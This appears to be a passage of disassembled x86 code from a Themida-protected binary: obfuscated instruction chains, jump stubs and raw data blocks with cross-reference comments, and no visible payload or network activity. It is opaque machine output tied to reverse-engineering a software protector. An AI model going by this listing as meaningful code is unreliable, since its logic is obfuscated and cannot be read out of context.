		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	0CDEh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_562600
; ---------------------------------------------------------------------------
dword_562B1C	dd 8B2434FFh, 0E9572404h, 0FFFFDE79h, 0AE7F2905h, 5F590511h
					; DATA XREF: Themida_:00552B40o
		dd 0C6E97740h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B37:				; CODE XREF: Themida_:0055EF83j
		inc	ebx
		shl	ebx, 4
		jmp	loc_553555
; ---------------------------------------------------------------------------
		dd 42474FFh, 40A1E95Eh,	0C481FFFFh, 4, 31242C33h, 2C33242Ch
		dd 5CE95C24h
		db 0, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_562B5F:				; CODE XREF: Themida_:00554AA3j
		mov	bh, 16h
		xor	dh, bh
		pop	ebx
		sub	bl, dh
		mov	edx, [esp]
		add	esp, 4
		add	bl, 4Ah
		movzx	eax, al
		jmp	loc_564D3B
; ---------------------------------------------------------------------------


loc_562B7A:				; CODE XREF: Themida_:005543A3j
		add	esp, 4
		jmp	loc_562819
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 59A76B74h, 0FFA45FE9h, 11C068FFh, 64E90000h,	29FFFFEEh
		dd 38859CBh, 0FF3AF3E9h, 5ABF57FFh, 8167B55Ch, 8C73BEC5h
		dd 81FD0126h, 8C73BEEDh, 525F5F26h, 4BAh, 0FFD50100h, 0E95A2434h
		dd 0FFFFCFFEh, 242C8B54h, 4C481h, 0BE560000h, 7A1C1EFDh
		dd 1EF9EE81h, 0C3E97A1Ch, 5300004Eh, 0FF955BE9h, 89CE89FFh
		dd 5AF8E9F3h, 1C8BFFFFh, 4C48324h, 0FF0891E9h
		db 0FFh
byte_562BFD	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552AF0o
		dd 0FF1486E9h, 7FB450FFh, 0E3307BB3h, 4EC8158h,	89000000h
		dd 0CB62414h, 4DE9C6FEh, 50FFFF81h, 6627BE56h, 0F08976AEh
		dd 0FF5693E9h, 1EE950FFh
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562C33:				; CODE XREF: Themida_:00552E0Ej
		push	edx
		mov	edx, 0C6A189F7h
		sub	esi, 26E16B48h
		add	esi, edx
		add	esi, 26E16B48h
		pop	edx
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		xor	eax, 53437086h
		or	eax, eax
		jnz	loc_55FB6E
		push	eax
		push	esi
		jmp	loc_555391
; ---------------------------------------------------------------------------
		db 1
		dd 243C8BFEh, 3304C483h, 34312434h, 24343324h, 0D224248Bh
		dd 0E99C2424h, 0FFFEFF3Bh
; ---------------------------------------------------------------------------


loc_562C80:				; CODE XREF: Themida_:00567D9Cj
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, 50FB5471h
		pop	ebp
		and	eax, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_559116
; ---------------------------------------------------------------------------


loc_562CC1:				; CODE XREF: Themida_:00567B54j
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_564B02
; ---------------------------------------------------------------------------


loc_562CD2:				; CODE XREF: Themida_:0055B60Dj
		xor	eax, edx
		jmp	loc_565FC7
; ---------------------------------------------------------------------------


loc_562CD9:				; CODE XREF: Themida_:00561092j
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	eax
		jmp	loc_55DC89
; ---------------------------------------------------------------------------
aTs1		db 'TИ1',0Ah,0
		align 10h
		dd 490C4E35h, 736D2D05h, 6FE97B66h, 59FFFFB7h, 81242C8Bh
		dd 4C4h, 29D7E900h, 0EC83FFFFh,	570DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562D16:				; CODE XREF: Themida_:005597B0j
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_567B42
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 68241C89h, 7B961352h, 83241C8Bh, 0A4E904C4h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562D3B:				; CODE XREF: Themida_:00566E66j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_556345
; ---------------------------------------------------------------------------
		db 96h
		dd 0C631F031h, 0D6F7F031h, 0FFAB20E9h, 21C105FFh, 0A4683560h
		dd 8900007Bh, 5EBA2414h, 68092B1Eh, 310Ah, 0E9242C89h
		dd 3D95h, 0E99CC884h, 43FDh
dword_562D88	dd 5A2434FFh, 8904EC83h, 5456242Ch, 4C6815Eh, 81000000h
					; DATA XREF: Themida_:005529D8o
		dd 4ECh, 242C8900h, 5B2932BDh, 0EF2BE946h, 0D989FFFFh
		dd 5B2434FFh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 8324048Bh
		dd 815F04C4h, 4ECh, 0C6E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_562DD6:				; CODE XREF: Themida_:0055CEBCj
		pop	ebp
		mov	ebx, esi
		pop	esi
		and	ebp, ebx
		pop	ebx
		push	edi
		jmp	loc_55F591
; ---------------------------------------------------------------------------


loc_562DE3:				; CODE XREF: Themida_:00568049j
		mov	esi, 4
		jmp	loc_55B714
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0C2h
		dd 669E7261h, 0EA81C201h, 669E7261h, 0E924048Bh, 0FFFFB6A2h
		dd 48BE588h, 4C48124h, 0
		dd 982C58E5h, 0E800E704h, 0FEE9E72Ch, 50FFFF7Bh, 5039E952h
		dd 0C483FFFFh, 2434FF04h, 4C48159h, 55000000h, 0FF01DCE9h
		dd 0E9015FFFh, 0E9D9F75Dh, 0FFFF168Ah, 7B023768h, 0F748580Dh
		dd 264205D0h, 0F90561F2h, 89AB88DBh, 0FE0158C7h, 1D68525Fh
		dd 8900003Dh, 2B9240Ch,	50000000h, 1A4BE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562E72:				; CODE XREF: Themida_:00556F82j
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_554496
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4B951h, 0CE010000h, 0FF6F32E9h, 0D1EF81FFh, 0E94F85ACh
		dd 0FFFF7133h, 56241C89h, 0C5083268h, 24348B1Ch, 8104C483h
		dd 5D1C47EEh, 45EE8147h, 81394527h, 0C9AFACEEh,	0F7895732h
		dd 464DE9h, 24148B00h, 4C481h, 0E7D10000h, 47D7F747h, 3452E9h
		dd 0E95F6600h, 0FFFF7BCFh
dword_562EE0	dd 592434FFh, 6A6CE957h, 3487FFFFh, 14875C24h, 3BE95C24h
					; DATA XREF: Themida_:00552AB8o
		db 8Bh,	2 dup(0FFh)
off_562EF7	dd offset dword_554E68	; DATA XREF: Themida_:005528F0o
		align 4
		dd 0E9241489h, 952h
; ---------------------------------------------------------------------------


loc_562F04:				; CODE XREF: Themida_:0055EFEBj
		mov	edx, 5ADF1BD2h
		jmp	loc_563F09
; ---------------------------------------------------------------------------
		dw 15Bh
		dd 240C8BCDh, 24BAE9h, 0BF6600h, 0EF296600h, 66FD8766h
		dd 212AE95Fh, 0EC830000h, 243C8904h, 6D70BEBFh,	47D7F71Ch
		dd 4026CF81h, 75E9244Eh, 83FFFF46h, 0E82802C4h,	240C8B66h
		dd 1DE76855h, 1BE90000h, 8BFFFF00h, 0F1F72424h,	263768h
		dd 24148900h, 50E99C50h, 66FFFEFCh, 48E99C50h, 50FFFEFCh
		dd 4B8h, 58C10100h, 0FFD431E9h,	0CC3A2DFFh, 0C22190D5h
		dd 42E2D158h, 67E8E281h, 0B8500989h, 77542A6Bh,	0C324E525h
		dd 8149E955h, 0E2C1FFFFh, 0D6E28104h, 56395A5Fh, 949B7BEh
		dd 65B85021h, 2973BD3Dh, 0FE958C6h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_562FBF:				; CODE XREF: Themida_:005561C3j
		add	esp, 4
		push	esi
		mov	esi, edi
		mov	edx, esi
		pop	esi
		pop	edi


loc_562FC9:				; CODE XREF: Themida_:005582B3j
					; Themida_:0056008Fj
		push	esi
		push	0A47h
		mov	[esp], ebx
		push	edx
		push	edi
		push	7BDB79A1h
		pop	edi
		dec	edi
		and	edi, 67A52A80h
		not	edi
		xor	edi, 0ADC8EF0Fh
		mov	edx, edi
		pop	edi
		sub	dword ptr [esp+4], 6FC42CA6h
		add	[esp+4], edx
		add	dword ptr [esp+4], 6FC42CA6h
		jmp	loc_565EA9
; ---------------------------------------------------------------------------
		db 5Fh,	2Dh, 4
		dd 33000000h, 4312404h,	24043324h, 0E924248Bh, 0FFFF1D39h
; ---------------------------------------------------------------------------


loc_56301C:				; CODE XREF: Themida_:0055859Cj
		xchg	ebp, [esp]
		jmp	loc_55EC1E
; ---------------------------------------------------------------------------
		dd 5BEE8146h, 0E97EC511h, 0FFFF24E9h, 4C481h, 0F3300000h
		dd 0EF58E95Ah, 0C830FFFFh, 4E19E9h, 87D58700h, 85C4E9D5h
		dd 0BB53FFFFh, 4, 9EE9D801h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56305B:				; CODE XREF: Themida_:0055F4FBj
		mov	[esp], ebx
		push	eax
		mov	eax, 5F2F2FE6h
		jmp	loc_565E63
; ---------------------------------------------------------------------------


loc_563069:				; CODE XREF: Themida_:0055FBA0j
		pop	ecx
		jmp	loc_5653BB
; ---------------------------------------------------------------------------


loc_56306F:				; CODE XREF: Themida_:0055C718j
		pop	ecx
		push	ecx
		mov	ecx, 575E30B1h
		sub	edx, ecx
		pop	ecx
		dec	edx
		push	esi
		mov	esi, 5B32D5Bh
		jmp	loc_55EE72
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 50E78957h, 0FF61D5E9h, 14C581FFh, 5E5B9D61h,	0DDEE815Fh
		dd 811F174Eh, 0ED2A11EEh, 81EE011Ah, 0ED2A11C6h, 0DDC6811Ah
		dd 0E91F174Eh, 0FFFF65EBh, 4247401h, 8124348Bh,	4C4h, 0BD555900h
		dd 1CA0503Fh, 0FFA1B1E9h, 405FFh, 4050000h, 0E9000000h
		dd 0FFFFB865h
; ---------------------------------------------------------------------------


loc_5630E0:				; CODE XREF: Themida_:00559F86j
		mov	[esp], ecx
		mov	ecx, 37053330h
		push	edi
		mov	edi, 0BE960BEh
		jmp	loc_5585EC
; ---------------------------------------------------------------------------
		db 81h
		dd 0F8042444h, 0E933205Dh, 0FFFF9DEAh
; ---------------------------------------------------------------------------


loc_563100:				; CODE XREF: Themida_:00555EF3j
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 755F3568h
		jmp	loc_5557CC
; ---------------------------------------------------------------------------
		dd 0E9240C31h, 0FFFF0633h
; ---------------------------------------------------------------------------


loc_563118:				; CODE XREF: Themida_:00564A6Dj
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_556B12
; ---------------------------------------------------------------------------


loc_563127:				; CODE XREF: Themida_:005629A6j
		pop	esp
		and	eax, ebp
		jmp	loc_55AF2F
; ---------------------------------------------------------------------------


loc_56312F:				; CODE XREF: Themida_:00553240j
		xor	al, 51h
		add	cl, 0D8h
		sub	cl, 4Ah
		sub	cl, al
		add	cl, 4Ah
		sub	cl, 0D8h
		push	dword ptr [esp]
		jmp	loc_56401D
; ---------------------------------------------------------------------------


loc_563147:				; CODE XREF: Themida_:0055AF69j
		xor	esi, eax
		xchg	eax, edi
		jmp	loc_5568B9
; ---------------------------------------------------------------------------
		db 89h
		dd 0E0892404h, 4EA368h,	241C8900h, 1BB9E9h, 24048900h
		dd 42474FFh, 0E924048Bh, 4ADDh
; ---------------------------------------------------------------------------


loc_563170:				; CODE XREF: Themida_:00553B4Cj
		push	eax
		push	ecx
		mov	eax, [esp]
		jmp	loc_55CAD2
; ---------------------------------------------------------------------------


loc_56317A:				; CODE XREF: Themida_:0055F769j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		xor	al, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		dd 1CD7055Bh, 672D0C7Fh, 2D451661h, 2CD46C0h, 0FF7FB2E9h
		dd 596C04FFh, 3F24C0FEh, 0FE05E8C0h, 34D8F6C8h,	5BD80021h
		dd 8904EC83h, 0B753240Ch, 80DFF644h, 0E78014C7h, 0E9C7FEADh
		dd 0FFFFCF63h, 0FEF9DAE9h, 0A1BD55FFh, 0C14FAB2Bh, 0ED8107EDh
		dd 64CB4A93h, 5504EDC1h, 0E92414F7h, 0FFFFCB2Eh, 14EDE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563202:				; CODE XREF: Themida_:00563A5Aj
		sub	eax, 0B882D78Fh
		mov	ecx, eax
		pop	eax
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_564667
; ---------------------------------------------------------------------------


loc_563215:				; CODE XREF: Themida_:0055E6DAj
		pop	edx
		jmp	loc_561777
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4950F781h, 51E93105h, 68FFFFACh, 204123A6h, 0E924348Bh
		dd 0FFFF2A3Eh
; ---------------------------------------------------------------------------


loc_563234:				; CODE XREF: Themida_:00567678j
		neg	edx
		or	edx, 7CAE0905h
		push	5044h
		mov	[esp], esi
		jmp	loc_563AEE
; ---------------------------------------------------------------------------
		db 59h,	81h, 0ECh
		dd 4, 56240489h, 2F01CEBEh, 0CA7CE945h,	248BFFFFh, 398DE924h
		dd 4205FFFFh, 0E9577A24h, 0FFFFA104h, 0AE426168h, 4685E41h
		dd 8900006Ch, 0BDE9241Ch
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563283:				; CODE XREF: Themida_:00554A21j
		mov	[esp], edx
		mov	edx, 34BE7791h
		mov	eax, 34BE7795h
		jmp	loc_55364C
; ---------------------------------------------------------------------------


loc_563295:				; CODE XREF: Themida_:00552DFCj
		or	esi, 61787A08h
		inc	esi
		push	ecx
		mov	ecx, 4D660422h
		sub	esi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 0CD3E03D1h
		sub	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 453A1C32h
		not	eax
		shr	eax, 8
		add	eax, 28DF7817h
		inc	eax
		shr	eax, 5
		jmp	loc_566AF1
; ---------------------------------------------------------------------------


loc_5632CF:				; CODE XREF: Themida_:0055549Ej
		pop	esp
		mov	[esp], edi
		push	369061EBh
		push	dword ptr [esp]
		mov	edi, [esp]
		jmp	loc_559739
; ---------------------------------------------------------------------------


loc_5632E3:				; CODE XREF: Themida_:00557262j
		push	edx
		mov	edx, 29654107h
		mov	esi, edx
		push	dword ptr [esp]
		jmp	loc_56253C
; ---------------------------------------------------------------------------


loc_5632F3:				; CODE XREF: Themida_:0055FD61j
		push	3E1B34A7h
		mov	edx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 1AC16DB6h
		jmp	loc_560794
; ---------------------------------------------------------------------------
		db 5Ch
		dd 448FBD55h, 71E959AFh
		db 0EAh, 2 dup(0FFh)
byte_563317	db 66h			; DATA XREF: Themida_:00552A7Co
		dd 0F17E9ADh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56331E:				; CODE XREF: Themida_:00559EE1j
		pop	ebx
		jmp	loc_567623
; ---------------------------------------------------------------------------
		dd 485E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56332A:				; CODE XREF: Themida_:0055C62Aj
		mov	[esp], esi
		push	edx
		mov	edx, 12806B88h
		inc	edx
		xor	edx, 5FCA42C8h
		xor	edx, 2E8C19E5h
		mov	esi, edx
		jmp	loc_565B37
; ---------------------------------------------------------------------------
		db 2Dh
		dd 211A3857h, 52BE565Eh, 8159D443h, 2D2FDCCEh, 0E6C6813Bh
		dd 0F75D5C14h, 2303E9D6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563366:				; CODE XREF: Themida_:0055CE68j
		add	eax, 1B1905F1h
		jmp	loc_55D8E0
; ---------------------------------------------------------------------------


loc_563370:				; CODE XREF: Themida_:00565FD0j
		add	edx, 123E3F63h
		mov	eax, [esp]
		add	esp, 4
		sub	edx, ebx
		sub	edx, 6B9F2CD5h
		pop	ebx
		jmp	loc_560D58
; ---------------------------------------------------------------------------
		dw 0C520h
		dd 24048B66h, 8002C483h, 0E5C03DE5h, 53536603h,	0C381E389h
		dd 4, 4EB81h, 1C870000h, 24248B24h, 0B2241489h,	17A6E913h
		dd 1489FFFFh, 2E39BA24h, 0E2C1058Eh, 8A7DE902h,	4FFFFFFh
		dd 0FE49E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5633D2:				; CODE XREF: Themida_:0055DB0Dj
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3F7A7C19h
		add	esi, eax
		pop	eax
		jmp	loc_556199
; ---------------------------------------------------------------------------
		dd 0DA30A805h, 68555F57h, 5220424Fh, 7EDC15Dh, 1E12E945h
		dd 0BD550000h, 26B86286h, 8108E5C1h, 0C07013C5h, 2E4FE934h
		dd 4890000h, 9F86824h, 24890000h, 24048124h, 4,	0FFB978E9h
		dd 34FF5CFFh, 24048B24h, 0FF3EB7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563435:				; CODE XREF: Themida_:0055336Aj
		mov	[esp], edi
		push	eax
		pop	edi
		push	eax
		mov	eax, edi
		push	edi
		mov	edi, eax
		mov	ebp, edi
		pop	edi
		pop	eax
		jmp	loc_55BDA2
; ---------------------------------------------------------------------------
		db 2Dh,	0C2h, 5Ch
		dd 0BA525D30h, 19837DB6h, 1240EA81h, 0D0019E69h, 8324148Bh
		dd 0F5E904C4h, 0BA00004Bh, 7FD01C95h, 3F0CE942h, 0BD660000h
		dd 0F766592Dh, 468CE9D5h, 7EBFFFFFh, 683F690Fh,	0
		dd 5F243C29h, 321CE9h, 0E9536600h, 0FFFF1306h
; ---------------------------------------------------------------------------


loc_563498:				; CODE XREF: Themida_:0055368Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ebx
		not	ebx
		push	eax
		push	ebx
		push	dword ptr [esp]
		jmp	loc_56457C
; ---------------------------------------------------------------------------
		dw 5E58h
dword_5634B4	dd 0FEFAACE9h		; DATA XREF: Themida_:005627B8o
		db 0FFh
; ---------------------------------------------------------------------------


loc_5634B9:				; CODE XREF: Themida_:0055E6EDj
		pop	ebx
		sub	ecx, ebp
		sub	ecx, 5CCE3315h
		pop	ebp
		and	eax, ecx
		jmp	loc_561F81
; ---------------------------------------------------------------------------


loc_5634CA:				; CODE XREF: Themida_:005628CFj
		mov	[esp], esi
		jmp	loc_55EFE5
; ---------------------------------------------------------------------------


loc_5634D2:				; CODE XREF: Themida_:0055E31Fj
		mov	esp, [esp]
		and	eax, esi
		jmp	loc_567A2A
; ---------------------------------------------------------------------------
aPirrsg		db 'P┴ЮRИG&',0
		dd 8BDF2900h, 0C481241Ch, 4, 0FF6924E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5634F5:				; CODE XREF: Themida_:0055448Aj
		mov	esp, [esp]
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	4B00h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edi
		jmp	loc_56628E
; ---------------------------------------------------------------------------
		dd 81E18951h, 4C1h, 4E98300h, 8B240C87h, 28E92424h, 8100001Fh
		dd 0DA3EC6C7h, 5FF889ECh, 48BC329h, 4C48324h, 0E9008F66h
		dd 0FFFEF677h, 8B24048Fh, 3CD32424h, 58E99C24h,	81FFFF3Ah
		dd 0AA2AAFE2h, 30EA8151h, 0E90E9E73h, 0FFFFAF58h, 1354ED81h
		dd 1168AD5Ch, 0E9000014h, 0FFFF11ECh, 4EE81h, 34870000h
		dd 0C895C24h, 3A60E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563586:				; CODE XREF: Themida_:00565C1Ej
		push	edi
		xchg	ebp, [esp]
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		not	edi
		xchg	edi, ebp
		xchg	ebp, [esp]
		mov	edi, [esp]
		jmp	loc_563727
; ---------------------------------------------------------------------------
		align 10h
		dd 0D757E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635A6:				; CODE XREF: Themida_:00553ED5j
		add	esp, 4
		jmp	loc_566D1B
; ---------------------------------------------------------------------------


loc_5635AE:				; CODE XREF: Themida_:0055C5ABj
		mov	eax, [esp]
		add	esp, 4
		add	edx, 0A2030101h
		and	eax, edx
		pop	edx
		shr	eax, 0Eh
		jmp	loc_55365B
; ---------------------------------------------------------------------------


loc_5635C8:				; CODE XREF: Themida_:00559FAEj
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_56228E
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4E2735FFh, 35FDB951h, 0CD894E27h, 0E9F53159h, 925h
; ---------------------------------------------------------------------------


loc_5635EC:				; CODE XREF: Themida_:0055CB56j
		push	24C44E63h
		pop	ecx
		jmp	loc_5620AA
; ---------------------------------------------------------------------------
		db 5Ah
		dd 4306E3C1h, 2BE7C381h, 0DF897F4Bh, 190AE95Bh,	0CA81FFFFh
		dd 23362600h, 70BCA81h,	4E94366h, 81FFFFA4h, 3575D7EDh
		dd 7ED8173h, 5B03736Ah,	0FFEB39E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56362D:				; CODE XREF: Themida_:00557847j
		push	edi
		mov	edi, 0AFE5E84h
		jmp	loc_552D7B
; ---------------------------------------------------------------------------


loc_563638:				; CODE XREF: Themida_:0055E405j
		push	ebx
		mov	ebx, 24416AEEh
		jmp	loc_564AA9
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8B243487h, 34FF2424h, 2434FF24h, 0F484E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563656:				; CODE XREF: Themida_:0055B3E2j
		mov	esp, [esp]
		jmp	loc_55C669
; ---------------------------------------------------------------------------
		dw 6855h
		dd 7E974C6Ch, 68ED815Dh, 0E97E974Ch, 0FFFF1361h, 4C481h
		dd 0E9550000h, 0FFFF49E9h, 8704EB83h, 895C241Ch, 7CBA2414h
		dd 81038739h, 0F01DCCE2h, 0D0BE562Dh, 814B957Fh, 2AF6EAh
		dd 4B5EE979h, 3C330000h, 29F4E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5636AA:				; CODE XREF: Themida_:00561963j
		sub	esp, 4
		jmp	loc_567D17
; ---------------------------------------------------------------------------


loc_5636B5:				; CODE XREF: Themida_:005576D6j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55F760
; ---------------------------------------------------------------------------
		db 57h
		dd 0E950E789h, 0FFFF66C2h
; ---------------------------------------------------------------------------


loc_5636CC:				; CODE XREF: Themida_:00566071j
		push	ebx
		push	edi
		push	5DB5728Ch
		pop	edi
		and	edi, 725F1513h
		not	edi
		add	edi, 0AF8F69C3h
		push	edi
		mov	ebx, [esp]
		add	esp, 4
		pop	edi
		neg	ebx
		jmp	loc_55ADC6
; ---------------------------------------------------------------------------
		dd 0D3C68058h, 2865C580h, 65ED80F5h, 24148B66h,	0FFF83AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563709:				; CODE XREF: Themida_:00563AF4j
		push	ecx
		mov	ecx, 649D4CFAh
		sub	ecx, 775E39A5h
		jmp	loc_559616
; ---------------------------------------------------------------------------
		dw 51B2h
		dd 0FF33DDE9h, 0B9E95FFFh
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_563727:				; CODE XREF: Themida_:0056359Aj
		add	esp, 4
		jmp	loc_567837
; ---------------------------------------------------------------------------
		dw 2DBEh
		dd 46389E05h, 0EE81DEF7h, 9C554BACh, 59EDC581h,	0C5811853h
		dd 7E443C45h, 0ED81F529h, 7E443C45h, 59EDED81h,	815E1853h
		dd 0A90298C1h, 81E92920h, 0A90298E9h, 0C335D20h, 240C3124h
		dd 5C240C33h, 0FF9748E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563779:				; CODE XREF: Themida_:00553B35j
		shr	ebx, 6
		shr	ebx, 4
		neg	ebx
		add	ebx, 28A690Eh
		mov	ecx, ebx
		jmp	loc_565363
; ---------------------------------------------------------------------------
		dw 0D9F7h
		dd 0BEE9D9F7h, 81000037h, 0A72ECFEAh, 0E9CA297Ah, 0FFFFC5E8h
; ---------------------------------------------------------------------------


loc_5637A4:				; CODE XREF: Themida_:0055D575j
		sub	edi, 59F15C58h
		jmp	loc_5561A0
; ---------------------------------------------------------------------------
		db 58h
		dd 405h, 736FE900h, 0D3F7FFFFh,	87F3F381h, 0DA018763h
		dd 0C6A7E95Bh, 0FD88FFFFh, 0EB88585Bh, 50240C8Bh, 405E089h
		dd 5000000h, 4,	0E9240487h, 0FFFEF531h
; ---------------------------------------------------------------------------


loc_5637E8:				; CODE XREF: Themida_:00552C67j
		mov	eax, 3CFB0206h
		sub	eax, 0F90BC9C9h
		sub	esi, 5D907104h
		add	esi, 1344521Fh
		add	esi, eax
		sub	esi, 1344521Fh
		jmp	loc_5552F7
; ---------------------------------------------------------------------------
		db 87h
		dd 60E9241Ch, 81FFFF82h, 2E7564EAh, 33F28169h, 167EAE5h
		dd 0F69FE9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563826:				; CODE XREF: Themida_:0055BDBEj
		add	esp, 4
		jmp	loc_560945
; ---------------------------------------------------------------------------


loc_563831:				; CODE XREF: Themida_:0055B296j
		add	ecx, 0FFFFFFFFh
		sub	ecx, 0C2C579A8h
		jmp	loc_559FFF
; ---------------------------------------------------------------------------


loc_56383F:				; CODE XREF: Themida_:0055E9F1j
		pop	eax
		jmp	loc_55980F
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF99F7E9h
		db 0FFh
byte_56384D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552B3Co
aS4_0		db '$И+4',0
		align 2
		dw 60E9h
		dd 0FFFFFEF3h, 0E95E2434h, 0FFFFA470h
; ---------------------------------------------------------------------------


loc_563864:				; CODE XREF: Themida_:0055C540j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5640F2
; ---------------------------------------------------------------------------


loc_56386E:				; CODE XREF: Themida_:005591A0j
		push	627Ch
		mov	[esp], ebx
		push	5695045Ah
		mov	ebx, [esp]
		jmp	loc_560D10
; ---------------------------------------------------------------------------
byte_563883	db 0FFh			; DATA XREF: Themida_:00552A84o
		dd 30E94077h
		db 0F3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_56388B:				; CODE XREF: Themida_:005654E2j
		shl	edx, 4
		jmp	loc_55953A
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1C8BD801h, 4C48124h,	55000000h, 0FFBC14E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5638A5:				; CODE XREF: Themida_:005571BDj
		pop	esp
		mov	[esp], esi
		jmp	loc_562AA3
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 0FFE01BE9h, 535157FFh, 0FFD992E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5638C1:				; CODE XREF: Themida_:00566760j
		pop	esp
		pop	ecx
		push	esi
		mov	esi, 3754630Ch
		shl	esi, 2
		push	ebp
		mov	ebp, 7EBD2E26h
		or	ebp, 36D34ADh
		sub	ebp, 337E3C8h
		sub	esi, ebp
		pop	ebp
		push	eax
		jmp	loc_553480
; ---------------------------------------------------------------------------
		db 0BFh
		dd 2C913FF3h, 15FF929h,	3A6AE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5638F6:				; CODE XREF: Themida_:0055A444j
		pop	ecx
		jmp	loc_5532EC
; ---------------------------------------------------------------------------
		dd 0C223F281h, 0D3319D2Eh, 9C9E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56390A:				; CODE XREF: Themida_:00554C31j
		dec	esi
		jmp	loc_55E41A
; ---------------------------------------------------------------------------
		dd 24048B5Dh, 6604C483h, 66576642h, 0E9507BBFh,	0FFFF929Fh
dword_563924	dd 0E9028F66h, 0FFFEF28Fh ; DATA XREF: Themida_:00552AB0o
; ---------------------------------------------------------------------------


loc_56392C:				; CODE XREF: Themida_:00559DBEj
		add	eax, 671D18A4h
		jmp	loc_557C91
; ---------------------------------------------------------------------------


loc_563936:				; CODE XREF: Themida_:005671EAj
		pop	esi
		add	eax, edx
		push	ebp
		mov	ebp, 0B368D1h
		add	ebp, 0FFD6A56Dh
		sub	eax, ebp
		pop	ebp
		jmp	loc_5558B0
; ---------------------------------------------------------------------------
		db 87h,	2Ch, 24h
		dd 240C895Ch, 0BE2B99B9h, 6E9C145h, 0E908E9C1h,	1678h
		dd 3E24EA81h, 0D789FFC2h, 0C5E7815Ah, 817EA912h, 5AF2CEEFh
		dd 677FE99Ch, 1C89FFFFh, 46824h, 15B0000h, 14875BDAh, 0EC835C24h
		dd 846BE904h, 0D9F7FFFFh, 56E9D1F7h, 29FFFFE1h,	243C8BF8h
